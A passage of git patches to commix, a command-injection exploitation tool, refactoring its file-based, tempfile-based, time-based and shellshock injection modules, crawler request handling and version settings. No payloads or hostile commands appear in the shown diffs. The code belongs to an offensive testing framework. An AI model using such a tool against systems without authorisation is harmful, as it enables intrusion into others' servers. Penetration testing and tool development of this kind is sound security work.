execution output. " - print(settings.print_info_msg(info_msg)) - - # checks.testing_technique_title(injection_type, technique) i = 0 # Calculate all possible combinations @@ -204,9 +208,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) session_handler.notification(url, technique, injection_type) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - #settings.LOAD_SESSION = True + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: checks.error_loading_session_file() diff --git a/src/utils/settings.py b/src/utils/settings.py index 63e3278c96..7df01bf1b9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -983,6 +983,8 @@ class INJECTION_TECHNIQUE(object): # GET parameters recognition GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" +DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' + # TFB Decimal TFB_DECIMAL = False From f2e1340b3e4f1e6a822d6fd2fe7c7cc344fdf6fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 6 Jun 2024 08:28:19 +0300 Subject: [PATCH 0459/1023] Minor update --- .../injections/semiblind/techniques/file_based/fb_handler.py | 4 ++-- .../injections/semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 4 ++-- src/utils/crawler.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 6d045605ac..afd34efb07 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -207,7 +207,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + ".txt" + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT if re.findall(settings.DIRECTORY_REGEX,payload): filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] settings.WEB_ROOT = os.path.dirname(filepath) @@ -228,7 +228,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + ".txt" + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 573a4fbb81..f07f4bf303 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -261,7 +261,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and ".txt" in output: + if "?" and settings.OUTPUT_FILE_EXT in output: try: output = output.split("?")[0] except: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 5140234253..4db72f11ae 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -105,7 +105,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT except TypeError: checks.error_loading_session_file() @@ -117,7 +117,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, prefix = "" # The output file for file-based injection technique. - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 4198a45bd0..9af9c3f188 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -107,7 +107,7 @@ def store_crawling(output_href): message += "(for eventual further processing with other tools)? [y/N] > " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=".txt")[1] + filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." print(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7df01bf1b9..4304f63ed9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a1a792391e80105e99e69380fcbb04a88862cd3d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Jun 2024 08:41:55 +0300 Subject: [PATCH 0460/1023] Minor update --- src/core/injections/controller/checks.py | 11 ++++++++ src/core/injections/controller/controller.py | 2 +- .../techniques/file_based/fb_handler.py | 25 ++++++------------- src/core/main.py | 1 - src/utils/settings.py | 2 +- 5 files changed, 21 insertions(+), 20 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4d2b0011a1..029fb13d9d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2666,6 +2666,17 @@ def check_wrong_flags(): warn_msg += "the target has been identified as Unix-like. " print(settings.print_warning_msg(warn_msg)) +""" +Set writable path name +""" +def setting_writable_dir(path): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + path + "' for writable directory." + print(settings.print_debug_msg(debug_msg)) + info_msg = "Trying to create a file in directory '" + path + info_msg += "' for command execution output. " + print(settings.print_info_msg(info_msg)) + """ Define python working dir (for windows targets) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 01a8d7162e..6974b5f808 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -252,6 +252,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ +Check parameter in HTTP header. """ def check_parameter_in_http_header(check_parameter): inject_http_headers = False @@ -592,7 +593,6 @@ def post_request(url, http_request_method, filename, timesec): found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_JSON or settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index afd34efb07..7e4fa94b67 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -48,12 +48,8 @@ """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + tmp_path + "' for temporary writable directory." - print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in temporary " - info_msg += "directory ('" + tmp_path + "') for command execution output.\n" - sys.stdout.write(settings.print_info_msg(info_msg)) + path = tmp_path + checks.setting_writable_dir(path) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : @@ -98,13 +94,8 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon settings.CUSTOM_WEB_ROOT = True if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." - print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT - info_msg += "' for command execution output. " - print(settings.print_info_msg(info_msg)) - + path = settings.WEB_ROOT + checks.setting_writable_dir(path) menu.options.web_root = settings.WEB_ROOT.strip() """ @@ -375,13 +366,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization required!" - print(settings.print_critical_msg(err_msg) + "\n") + err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." + print(settings.print_critical_msg(err_msg)) raise SystemExit() elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg) + "\n") + err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." + print(settings.print_critical_msg(err_msg)) raise SystemExit() except (KeyboardInterrupt, SystemExit): diff --git a/src/core/main.py b/src/core/main.py index c56fe29222..240ceade24 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -547,7 +547,6 @@ def main(filename, url, http_request_method): # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() - controller.do_check(url, http_request_method, filename) return filename diff --git a/src/utils/settings.py b/src/utils/settings.py index 4304f63ed9..30a29b0988 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 51bd43182d449f37d53af58b9e11112cde2c158b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Jun 2024 09:35:34 +0300 Subject: [PATCH 0461/1023] Fixes https://github.com/commixproject/commix/issues/921 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 6 +++-- src/core/main.py | 12 +++++----- src/core/requests/requests.py | 17 ++++++++++---- src/utils/crawler.py | 30 ++++++++++++------------ src/utils/settings.py | 4 +++- 6 files changed, 41 insertions(+), 29 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a60debb2e8..1159c169c8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). * Updated: Six (third party) module has been updated (Python 3.12 support). * Revised: Minor improvement regarding determining (passively) the target's underlying operating system. * Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 029fb13d9d..345b504b8a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -282,9 +282,11 @@ def alert(): Check for HTTP Method """ def check_http_method(url): - if menu.options.method: + if settings.CRAWLING: + http_request_method = settings.HTTPMETHOD.GET + elif menu.options.method: http_request_method = menu.options.method.upper() - elif settings.INJECT_TAG in url: + elif isinstance(url, str) and settings.INJECT_TAG in url: http_request_method = settings.HTTPMETHOD.GET else: if settings.USER_DEFINED_POST_DATA: diff --git a/src/core/main.py b/src/core/main.py index 240ceade24..3172e95416 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -874,7 +874,7 @@ def main(filename, url, http_request_method): else: url = menu.options.url - if menu.options.data: + if menu.options.data and not settings.CRAWLING: settings.USER_DEFINED_POST_DATA = menu.options.data # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: @@ -884,8 +884,8 @@ def main(filename, url, http_request_method): if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel + http_request_method = checks.check_http_method(url) if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: - http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True response, url = url_response(url, http_request_method) @@ -926,14 +926,14 @@ def main(filename, url, http_request_method): url_num = 1 if not menu.options.bulkfile and not settings.STDIN_PARSING: crawling_list = 1 - output_href = crawler.crawler(url, url_num, crawling_list) + output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) output_href.append(url) else: if settings.STDIN_PARSING: bulkfile = stdin_parsing_target(os_checks_num) crawling_list = len(bulkfile) for url in bulkfile: - output_href += (crawler.crawler(url, url_num, crawling_list)) + output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] @@ -990,7 +990,7 @@ def main(filename, url, http_request_method): url_num += 1 perform_check = True while True: - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url)) + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -1024,7 +1024,7 @@ def main(filename, url, http_request_method): pass else: url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url)) + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) if url_num == len(clean_output_href): raise SystemExit() diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ac04798732..ab042ae369 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -43,12 +43,14 @@ """ Do a request to target URL. """ -def crawler_request(url): +def crawler_request(url, http_request_method): try: - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC), method=http_request_method) + # Check if defined POST data + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - request = _urllib.request.Request(url, method=http_request_method) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -65,7 +67,12 @@ def crawler_request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS_NUM += 1 - request_failed(err_msg) + if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg): + warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found." + print(settings.print_warning_msg(warn_msg)) + else: + request_failed(err_msg) + """ Estimating the response time (in seconds). diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 9af9c3f188..7573868965 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -126,13 +126,13 @@ def store_crawling(output_href): """ Check for URLs in sitemap.xml. """ -def sitemap(url): +def sitemap(url, http_request_method): try: if not url.endswith(".xml"): if not url.endswith("/"): url = url + "/" - url = _urllib.parse.urljoin(url, "sitemap.xml") - response = request(url) + url = _urllib.parse.urljoin(url, settings.SITEMAP_XML_FILE) + response = request(url, http_request_method) content = checks.page_encoding(response, action="decode") for match in re.finditer(r"\s*([^<]+)", content or ""): url = match.group(1).strip() @@ -145,7 +145,7 @@ def sitemap(url): message = "Do you want to follow? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - sitemap(url) + sitemap(url, http_request_method) break elif message in settings.CHOICE_NO: break @@ -179,8 +179,8 @@ def store_hrefs(href, identified_hrefs, redirection): """ Do a request to target URL. """ -def request(url): - return requests.crawler_request(url) +def request(url, http_request_method): + return requests.crawler_request(url, http_request_method) """ Enable crawler. @@ -236,13 +236,13 @@ def no_usable_links(crawled_hrefs): """ The crawing process. """ -def do_process(url): +def do_process(url, http_request_method): identified_hrefs = False if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: sys.stdout.write("\r") # Grab the crawled hrefs. try: - response = request(url) + response = request(url, http_request_method) content = checks.page_encoding(response, action="decode") match = re.search(r"(?si)]*>(.+)", content) if match: @@ -282,24 +282,24 @@ def do_process(url): """ The main crawler. """ -def crawler(url, url_num, crawling_list): +def crawler(url, url_num, crawling_list, http_request_method): init_global_vars() if crawling_list > 1: _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: _ = "" - info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." - print(settings.print_info_msg(info_msg)) - response = request(url) + response = request(url, http_request_method) if type(response) is not bool and response is not None: if settings.SITEMAP_CHECK: enable_crawler() if settings.SITEMAP_CHECK is None: check_sitemap() if settings.SITEMAP_CHECK: - output_href = sitemap(url) + output_href = sitemap(url, http_request_method) if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): - output_href = do_process(url) + info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." + print(settings.print_info_msg(info_msg)) + output_href = do_process(url, http_request_method) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: settings.DEFAULT_CRAWLING_DEPTH = 1 while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): @@ -323,7 +323,7 @@ def crawler(url, url_num, crawling_list): if settings.SINGLE_WHITESPACE in url: url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) visited_hrefs.append(url) - do_process(url) + do_process(url, http_request_method) info_msg = str(link) info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 30a29b0988..a098916ff7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1316,6 +1316,8 @@ class AUTH_TYPE(object): SITEMAP_CHECK = None +SITEMAP_XML_FILE = "sitemap.xml" + FOLLOW_REDIRECT = True # Set predefined answers (e.g. "quit=N,follow=N"). From 33ab76b5e2ad7ad46a974505fa061fd40b180cda Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 11 Jun 2024 07:22:42 +0300 Subject: [PATCH 0462/1023] Minor code refactoring --- .../blind/techniques/time_based/tb_handler.py | 3 +- .../techniques/time_based/tb_injector.py | 5 ++- src/core/injections/controller/checks.py | 24 ++++++++----- .../techniques/classic/cb_handler.py | 9 ++--- .../techniques/eval_based/eb_handler.py | 12 ++----- .../techniques/file_based/fb_handler.py | 17 +++------ .../techniques/tempfile_based/tfb_handler.py | 4 +-- .../techniques/tempfile_based/tfb_injector.py | 5 ++- src/core/modules/shellshock/shellshock.py | 35 ++++++++++--------- src/utils/settings.py | 2 +- 10 files changed, 52 insertions(+), 64 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e4e9e6d5f0..898664609c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -171,8 +171,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r how_long_statistic.append(how_long) # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) + percent, float_percent = checks.percentage_calculation(num_of_chars, total) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index e897fd20c1..f933775410 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -324,12 +324,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) if percent == 100: float_percent = settings.info_msg else: - float_percent = ".. (" + str(float_percent) + ")" + float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Presuming the execution output." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 345b504b8a..40876dbc26 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -408,21 +408,29 @@ def testing_technique_title(injection_type, technique): Injection process (percent) """ def injection_process(injection_type, technique, percent): - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + if settings.VERBOSITY_LEVEL == 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() """ Percentage calculation """ -def result_based_injection_percentage_calculation(float_percent, no_result, shell): - if float(float_percent) >= 99.9 or str(float_percent) == "100.0": - if no_result == True: +def percentage_calculation(i, total): + percent = ((i*100)/total) + float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) + return percent, float_percent + +""" +Print percentage calculation +""" +def print_percentage(float_percent, no_result, shell): + if float(float_percent) == 100: + if no_result: percent = settings.FAIL_STATUS else: percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: + elif shell: percent = settings.info_msg else: percent = ".. (" + str(float_percent) + "%)" diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index ecf0069e3d..7132c2eb2b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -163,13 +163,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if shell == False: - checks.injection_process(injection_type, technique, float_percent) - - percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index ad8b466772..316b4394c7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -172,17 +172,11 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. - shell = eb_injector.injection_test_results(response, TAG, randvcalc) time.sleep(timesec) - + shell = eb_injector.injection_test_results(response, TAG, randvcalc) if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) - - if shell == False: - checks.injection_process(injection_type, technique, float_percent) - - percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7e4fa94b67..91179a3172 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -142,16 +142,10 @@ def check_trailing_slashes(): return tmp_path -def finalize(exit_loops, no_result, float_percent, injection_type, technique): +def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - else: - percent = ".. (" + str(float_percent) + "%)" + percent = checks.print_percentage(float_percent, no_result, shell) checks.injection_process(injection_type, technique, percent) return True else: @@ -312,8 +306,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) + percent, float_percent = checks.percentage_calculation(i, total) if call_tmp_based == True: exit_loops = True @@ -325,7 +318,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): if i == total: - if finalize(exit_loops, no_result, float_percent, injection_type, technique): + if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): continue else: raise @@ -360,7 +353,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r continue else: - if finalize(exit_loops, no_result, float_percent, injection_type, technique): + if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): continue else: raise diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 4db72f11ae..e6fbd63ba6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -182,8 +182,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, how_long_statistic.append(how_long) # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) + percent, float_percent = checks.percentage_calculation(num_of_chars, total) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: @@ -192,7 +191,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = "" else: if checks.time_relative_shell(url_time_response, how_long, timesec): - # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 3bf92ac47c..15814e8006 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -329,12 +329,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) if percent == 100: float_percent = settings.info_msg else: - float_percent = ".. (" + str(float_percent) + ")" + float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 4fdaabaf57..162e22a1a8 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -68,6 +68,23 @@ def shellshock_exploitation(cve, cmd): payload = shellshock_payloads(cve, attack_vector) return payload +""" +Print percentage calculation +""" +def print_percentage(no_result, response_info, cve, float_percent): + if float(float_percent) == 100: + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = settings.info_msg + no_result = False + elif len(response_info) > 0 and cve in response_info: + percent = settings.info_msg + no_result = False + else: + percent = str(float_percent)+ "%" + return percent, no_result + """ Enumeration Options """ @@ -320,22 +337,8 @@ def shellshock_handler(url, http_request_method, filename): if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = settings.info_msg - no_result = False - - elif len(response_info) > 0 and cve in response_info: - percent = settings.info_msg - no_result = False - - else: - percent = 